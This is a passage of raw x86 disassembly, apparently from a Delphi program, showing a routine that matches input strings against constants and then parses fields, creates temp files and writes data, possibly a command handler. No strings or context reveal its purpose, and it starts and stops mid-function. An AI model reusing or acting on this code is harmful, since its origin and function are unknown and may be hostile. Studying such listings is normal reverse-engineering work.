mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a58]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1a54]
lea edx, [ebp - 0x3b0]
call fcn.005b0084
cmp dword [ebp - 0x3b0], 0
jne 0x5a24b6
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1a5c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a5c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
lea edx, [ebp - 0x1a60]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1a60]
push eax
lea eax, [ebp - 0x1a64]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1a64]
mov edx, dword [ebp - 0x3b4]
pop eax
call fcn.0059002c
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af2bc
call fcn.00405ec0
jne 0x5a27fa
lea edx, [ebp - 0x1a68]
mov eax, 0x5ae0e0
call fcn.0058fff8
mov edx, dword [ebp - 0x1a68]
mov eax, dword [0x5d6094]
call fcn.00405aec
xor eax, eax
push ebp
push 0x5a27f3
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x1a6c]
push eax
lea ecx, [ebp - 0x1a70]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a70]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1a6c]
lea edx, [ebp - 0x3b0]
call fcn.005b0084
cmp dword [ebp - 0x3b0], 0
jne 0x5a25e1
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1a74]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a74]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
xor eax, eax
push ebp
push 0x5a277c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1a80]
push eax
lea ecx, [ebp - 0x1a84]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a84]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1a80]
lea edx, [ebp - 0x1a7c]
call fcn.005939c8
mov eax, dword [ebp - 0x1a7c]
lea edx, [ebp - 0x1a78]
call fcn.0058ff30
mov eax, dword [ebp - 0x1a78]
push eax
lea eax, [ebp - 0x3c0]
push eax
lea eax, [ebp - 0x1a90]
push eax
lea ecx, [ebp - 0x1a94]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a94]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1a90]
lea edx, [ebp - 0x1a8c]
call fcn.005939c8
mov eax, dword [ebp - 0x1a8c]
lea edx, [ebp - 0x1a88]
call fcn.0058ff30
mov eax, dword [ebp - 0x1a88]
push eax
lea eax, [ebp - 0x1aa0]
push eax
lea ecx, [ebp - 0x1aa4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1aa4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1aa0]
lea edx, [ebp - 0x1a9c]
call fcn.005939c8
mov eax, dword [ebp - 0x1a9c]
lea edx, [ebp - 0x1a98]
call fcn.0058ff30
mov eax, dword [ebp - 0x1a98]
call fcn.005936d4
push eax
lea eax, [ebp - 0x1ab0]
push eax
lea ecx, [ebp - 0x1ab4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ab4]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1ab0]
lea edx, [ebp - 0x1aac]
call fcn.005939c8
mov eax, dword [ebp - 0x1aac]
lea edx, [ebp - 0x1aa8]
call fcn.0058ff30
mov eax, dword [ebp - 0x1aa8]
call fcn.0040b328
pop edx
pop ecx
call fcn.0057b50c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a2796
lea edx, [ebp - 0x1ab8]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1ab8]
push eax
lea eax, [ebp - 0x1abc]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1abc]
mov edx, dword [ebp - 0x3c0]
pop eax
call fcn.0059002c
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af2e8
call fcn.00405ec0
jne 0x5a2a60
lea edx, [ebp - 0x1ac0]
mov eax, 0x5ae0e0
call fcn.0058fff8
mov edx, dword [ebp - 0x1ac0]
mov eax, dword [0x5d6094]
call fcn.00405aec
xor eax, eax
push ebp
push 0x5a2a59
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
xor eax, eax
push ebp
push 0x5a2a32
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1acc]
push eax
lea ecx, [ebp - 0x1ad0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ad0]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1acc]
lea edx, [ebp - 0x1ac8]
call fcn.005939c8
mov eax, dword [ebp - 0x1ac8]
lea edx, [ebp - 0x1ac4]
call fcn.0058ff30
mov eax, dword [ebp - 0x1ac4]
push eax
lea eax, [ebp - 0x1adc]
push eax
lea ecx, [ebp - 0x1ae0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ae0]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1adc]
lea edx, [ebp - 0x1ad8]
call fcn.005939c8
mov eax, dword [ebp - 0x1ad8]
lea edx, [ebp - 0x1ad4]
call fcn.0058ff30
mov eax, dword [ebp - 0x1ad4]
push eax
lea eax, [ebp - 0x1aec]
push eax
lea ecx, [ebp - 0x1af0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1af0]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1aec]
lea edx, [ebp - 0x1ae8]
call fcn.005939c8
mov eax, dword [ebp - 0x1ae8]
lea edx, [ebp - 0x1ae4]
call fcn.0058ff30
mov eax, dword [ebp - 0x1ae4]
push eax
lea eax, [ebp - 0x1afc]
push eax
lea ecx, [ebp - 0x1b00]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b00]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1afc]
lea edx, [ebp - 0x1af8]
call fcn.005939c8
mov eax, dword [ebp - 0x1af8]
lea edx, [ebp - 0x1af4]
call fcn.0058ff30
mov eax, dword [ebp - 0x1af4]
call fcn.005936d4
push eax
lea eax, [ebp - 0x1b0c]
push eax
lea ecx, [ebp - 0x1b10]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b10]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1b0c]
lea edx, [ebp - 0x1b08]
call fcn.005939c8
mov eax, dword [ebp - 0x1b08]
lea edx, [ebp - 0x1b04]
call fcn.0058ff30
mov eax, dword [ebp - 0x1b04]
call fcn.0040b328
pop edx
pop ecx
call fcn.0057b7dc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a2a3c
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af304
call fcn.00405ec0
jne 0x5a2ba5
xor eax, eax
push ebp
push 0x5a2b9e
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x1b14]
push eax
lea ecx, [ebp - 0x1b18]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b18]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1b14]
lea edx, [ebp - 0x3b0]
call fcn.005b0084
cmp dword [ebp - 0x3b0], 0
jne 0x5a2b07
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1b1c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b1c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, 0x104
call fcn.00402fc0
mov esi, eax
push esi
push 0
push 0x5af318
mov eax, dword [0x5dcd20]
call fcn.00405f28
push eax
call sub.kernel32.dll_GetTempFileNameA
lea edx, [ebp - 0x1b20]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1b20]
push eax
lea eax, [ebp - 0x1b24]
mov edx, esi
call fcn.00405c90
mov eax, dword [ebp - 0x1b24]
push eax
lea eax, [ebp - 0x1b28]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1b28]
pop edx
pop eax
call fcn.0059002c
mov eax, esi
call fcn.00402fdc
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af324
call fcn.00405ec0
jne 0x5a2fe3
lea eax, [ebp - 0x1b2c]
push eax
lea ecx, [ebp - 0x1b30]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b30]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1b2c]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dcd60], 0
je 0x5a2c77
push 0
lea eax, [ebp - 0x1b38]
push eax
lea eax, [ebp - 0x1b3c]
push eax
lea ecx, [ebp - 0x1b40]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b40]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x1b3c]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2fe8
mov eax, dword [ebp - 0x1b38]
lea edx, [ebp - 0x1b34]
call fcn.005939c8
mov edx, dword [ebp - 0x1b34]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
lea eax, [ebp - 0x3b8]
push eax
lea ecx, [ebp - 0x1b44]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b44]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x3b8]
mov eax, 0x5af33c
call fcn.00406074
test eax, eax
je 0x5a2d7b
mov edx, dword [ebp - 0x3b8]
mov eax, 0x5af33c
call fcn.00406074
mov ecx, eax
add ecx, 0xb
dec ecx
lea eax, [ebp - 0x3b8]
mov edx, 1
call fcn.00405fd0
mov eax, dword [ebp - 0x3b8]
mov edx, 0x5ae048
call fcn.00405ec0
sete byte [ebp - 0x59a]
lea eax, [ebp - 0x3b8]
push eax
lea ecx, [ebp - 0x1b48]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b48]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x3b8]
mov dword [ebp - 0x744], eax
cmp dword [ebp - 0x744], 0
je 0x5a2d56
mov eax, dword [ebp - 0x744]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x744], eax
mov edx, dword [ebp - 0x3b8]
mov eax, 0x5af33c
call fcn.00406074
mov edx, eax
lea eax, [ebp - 0x3b8]
mov ecx, dword [ebp - 0x744]
call fcn.00405fd0
jmp 0x5a2d82
mov byte [ebp - 0x59a], 0
lea edx, [ebp - 0x3b0]
mov eax, dword [ebp - 0x3b8]
call fcn.005b0084
cmp dword [ebp - 0x3b0], 0
jne 0x5a2dad
lea eax, [ebp - 0x3b0]
mov edx, dword [ebp - 0x3b8]
call fcn.00405b30
mov eax, dword [ebp - 0x3b0]
call fcn.005b0140
test al, al
jne 0x5a2df8
lea edx, [ebp - 0x1b4c]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1b4c]
push eax
lea eax, [ebp - 0x1b50]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1b50]
xor edx, edx
pop eax
call fcn.0059002c
mov ecx, 0x5af350
mov edx, dword [ebp - 0x3d0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
cmp byte [ebp - 0x59a], 0
je 0x5a2e3a
mov edx, dword [ebp - 0x3b0]
mov eax, dword [0x5dcd8c]
mov ecx, dword [eax]
call dword [ecx + 0x54]
inc eax
jne 0x5a2e3a
mov edx, dword [ebp - 0x3b0]
mov eax, dword [0x5dcd8c]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, dword [0x5d5f04]
mov byte [eax], 1
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x750], eax
cmp dword [ebp - 0x750], 0
je 0x5a2e68
mov eax, dword [ebp - 0x750]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x750], eax
mov eax, 0x5ae1a8
mov dword [ebp - 0x754], eax
cmp dword [ebp - 0x754], 0
je 0x5a2e8d
mov eax, dword [ebp - 0x754]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x754], eax
mov eax, dword [ebp - 0x754]
push eax
mov eax, 0x5ae1a8
call fcn.00405f28
push eax
mov eax, dword [ebp - 0x750]
push eax
mov eax, dword [ebp - 0x3b0]
call fcn.00405f28
push eax
push 1
push 0x400
call sub.kernel32.dll_CompareStringA_1
sub eax, 2
mov dword [ebp - 0x74c], eax
cmp dword [ebp - 0x74c], 0
sete byte [ebp - 0x745]
cmp byte [ebp - 0x745], 0
je 0x5a2eea
mov byte [ebp - 0x765], 1
jmp 0x5a2f8a
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x760], eax
cmp dword [ebp - 0x760], 0
je 0x5a2f10
mov eax, dword [ebp - 0x760]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x760], eax
mov eax, 0x5ae168
mov dword [ebp - 0x764], eax
cmp dword [ebp - 0x764], 0
je 0x5a2f35
mov eax, dword [ebp - 0x764]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x764], eax
mov eax, dword [ebp - 0x764]
push eax
mov eax, 0x5ae168
call fcn.00405f28
push eax
mov eax, dword [ebp - 0x760]
push eax
mov eax, dword [ebp - 0x3b0]
call fcn.00405f28
push eax
push 1
push 0x400
call sub.kernel32.dll_CompareStringA_1
sub eax, 2
mov dword [ebp - 0x75c], eax
cmp dword [ebp - 0x75c], 0
sete byte [ebp - 0x755]
movzx eax, byte [ebp - 0x755]
mov byte [ebp - 0x765], al
cmp byte [ebp - 0x765], 0
je 0x5a2fd6
lea edx, [ebp - 0x1b54]
mov eax, 0x5ae1a8
call fcn.0058fff8
mov eax, dword [ebp - 0x1b54]
call fcn.0040b328
cdq
push edx
push eax
push 0
push 0x64
push 0
push 0
lea edx, [ebp - 0x1b58]
mov eax, 0x5ae168
call fcn.0058fff8
mov eax, dword [ebp - 0x1b58]
xor edx, edx
call fcn.005b9b30
mov eax, dword [0x5d5f04]
mov byte [eax], 0
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af36c
call fcn.00405ec0
jne 0x5a3169
lea eax, [ebp - 0x3b8]
push eax
lea ecx, [ebp - 0x1b5c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b5c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
lea edx, [ebp - 0x3b0]
mov eax, dword [ebp - 0x3b8]
call fcn.005b0084
cmp dword [ebp - 0x3b0], 0
jne 0x5a3056
lea eax, [ebp - 0x3b0]
mov edx, dword [ebp - 0x3b8]
call fcn.00405b30
mov eax, dword [ebp - 0x3b0]
call fcn.005b0140
test al, al
jne 0x5a30a1
lea edx, [ebp - 0x1b60]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1b60]
push eax
lea eax, [ebp - 0x1b64]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1b64]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x1b68]
push eax
lea ecx, [ebp - 0x1b6c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b6c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1b68]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dcd60], 0
je 0x5a314e
push 0
lea eax, [ebp - 0x1b74]
push eax
push 0x5af38c
push dword [ebp - 0x3b0]
push 0x5af3a0
lea eax, [ebp - 0x1b78]
mov edx, 3
call fcn.00405e2c
mov edx, dword [ebp - 0x1b78]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2fe8
mov eax, dword [ebp - 0x1b74]
lea edx, [ebp - 0x1b70]
call fcn.005939c8
mov edx, dword [ebp - 0x1b70]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
mov ecx, 0x5af3b4
mov edx, dword [ebp - 0x3d0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af3dc
call fcn.00405ec0
jne 0x5a336d
xor eax, eax
push ebp
push 0x5a3366
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1b7c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b7c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x3b0]
call fcn.005b0140
test al, al
jne 0x5a320f
lea edx, [ebp - 0x1b80]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1b80]
push eax
lea eax, [ebp - 0x1b84]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1b84]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x1b88]
push eax
lea ecx, [ebp - 0x1b8c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b8c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1b88]
call fcn.005936d4
test al, al
je 0x5a32bc
lea eax, [ebp - 0x1b98]
push eax
lea ecx, [ebp - 0x1b9c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b9c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1b98]
lea edx, [ebp - 0x1b94]
call fcn.005939c8
mov eax, dword [ebp - 0x1b94]
lea edx, [ebp - 0x1b90]
call fcn.0058ff30
mov eax, dword [ebp - 0x1b90]
call fcn.0040b8f0
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp 0x5a3326
lea eax, [ebp - 0x1ba8]
push eax
lea ecx, [ebp - 0x1bac]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1bac]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1ba8]
lea edx, [ebp - 0x1ba4]
call fcn.005939c8
mov eax, dword [ebp - 0x1ba4]
lea edx, [ebp - 0x1ba0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1ba0]
call fcn.0040b914
lea edx, [ebp - 0x3c0]
call fcn.00593690
lea eax, [ebp - 0x1bb0]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1bb0]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5a336d
call fcn.00592568
ret
mov eax, dword [ebp - 0x438]
mov edx, 0x5af3fc
call fcn.00405ec0
jne 0x5a38f8
xor eax, eax
push ebp
push 0x5a38f1
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x1bbc]
push eax
lea ecx, [ebp - 0x1bc0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1bc0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1bbc]
lea edx, [ebp - 0x1bb8]
call fcn.005939c8
mov eax, dword [ebp - 0x1bb8]
lea edx, [ebp - 0x1bb4]
call fcn.0058ff30
mov edx, dword [ebp - 0x1bb4]
mov eax, dword [0x5d5b5c]
call fcn.00405aec
lea eax, [ebp - 0x1bcc]
push eax
lea ecx, [ebp - 0x1bd0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1bd0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1bcc]
lea edx, [ebp - 0x1bc8]
call fcn.005939c8
mov eax, dword [ebp - 0x1bc8]
lea edx, [ebp - 0x1bc4]
call fcn.0058ff30
mov edx, dword [ebp - 0x1bc4]
mov eax, dword [0x5d6090]
call fcn.00405aec
lea eax, [ebp - 0x1bdc]
push eax
lea ecx, [ebp - 0x1be0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1be0]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1bdc]
lea edx, [ebp - 0x1bd8]
call fcn.005939c8
mov eax, dword [ebp - 0x1bd8]
lea edx, [ebp - 0x1bd4]
call fcn.0058ff30
mov edx, dword [ebp - 0x1bd4]
mov eax, dword [0x5d5a7c]
call fcn.00405aec
lea eax, [ebp - 0x1be4]
push eax
lea ecx, [ebp - 0x1be8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1be8]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1be4]
call fcn.0040b328
mov edx, dword [0x5d5938]
mov dword [edx], eax
lea eax, [ebp - 0x1bf4]
push eax
lea ecx, [ebp - 0x1bf8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1bf8]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1bf4]
lea edx, [ebp - 0x1bf0]
call fcn.005939c8
mov eax, dword [ebp - 0x1bf0]
lea edx, [ebp - 0x1bec]
call fcn.0058ff30
mov edx, dword [ebp - 0x1bec]
mov eax, dword [0x5d5ad4]
call fcn.00405aec
lea eax, [ebp - 0x1c04]
push eax
lea ecx, [ebp - 0x1c08]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c08]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1c04]
lea edx, [ebp - 0x1c00]
call fcn.005939c8
mov eax, dword [ebp - 0x1c00]
lea edx, [ebp - 0x1bfc]
call fcn.0058ff30
mov edx, dword [ebp - 0x1bfc]
mov eax, dword [0x5d5b40]
call fcn.00405aec
lea eax, [ebp - 0x1c14]
push eax
lea ecx, [ebp - 0x1c18]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c18]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1c14]
lea edx, [ebp - 0x1c10]
call fcn.005939c8
mov eax, dword [ebp - 0x1c10]
lea edx, [ebp - 0x1c0c]
call fcn.0058ff30
mov edx, dword [ebp - 0x1c0c]
mov eax, dword [0x5d60e0]
call fcn.00405aec
lea eax, [ebp - 0x1c1c]
push eax
lea ecx, [ebp - 0x1c20]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c20]
mov ecx, 9
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1c1c]
call fcn.005936d4
mov edx, dword [0x5d5898]
mov byte [edx], al
lea eax, [ebp - 0x1c2c]
push eax
lea ecx, [ebp - 0x1c30]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c30]
mov ecx, 0xa
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1c2c]
lea edx, [ebp - 0x1c28]
call fcn.005939c8
mov eax, dword [ebp - 0x1c28]
lea edx, [ebp - 0x1c24]
call fcn.0058ff30
mov edx, dword [ebp - 0x1c24]
mov eax, dword [0x5d5804]
call fcn.00405aec
mov eax, dword [0x5d5f20]
mov byte [eax], 0
xor eax, eax
push ebp
push 0x5a37f6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5d6090]
cmp dword [eax], 0
je 0x5a3737
lea edx, [ebp - 0x430]
xor eax, eax
call fcn.004031c8
xor eax, eax
push ebp
push 0x5a372d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5d6090]
mov eax, dword [eax]
call fcn.00403158
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a3737
mov eax, dword [0x5d5f04]
mov byte [eax], 1
xor ecx, ecx
mov dl, 1
mov eax, dword [0x58ca0c]
call fcn.0042a3cc
mov dword [ebp - 0x548], eax
lea edx, [ebp - 0x1c34]
mov eax, 0x5ae1a8
call fcn.0058fff8
mov eax, dword [ebp - 0x1c34]
call fcn.0040b328
cdq
push edx
push eax
push 0
push 0x64
push 0
push 0
lea edx, [ebp - 0x1c38]
mov eax, 0x5ae168
call fcn.0058fff8
mov eax, dword [ebp - 0x1c38]
call fcn.005b458c
mov eax, dword [ebp - 0x548]
call fcn.0058edbc
mov eax, dword [0x5d5f20]
cmp byte [eax], 0
je 0x5a3753
mov eax, dword [0x5d5f04]
mov byte [eax], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5a37fd
mov eax, dword [0x5d6090]
cmp dword [eax], 0
je 0x5a37f5
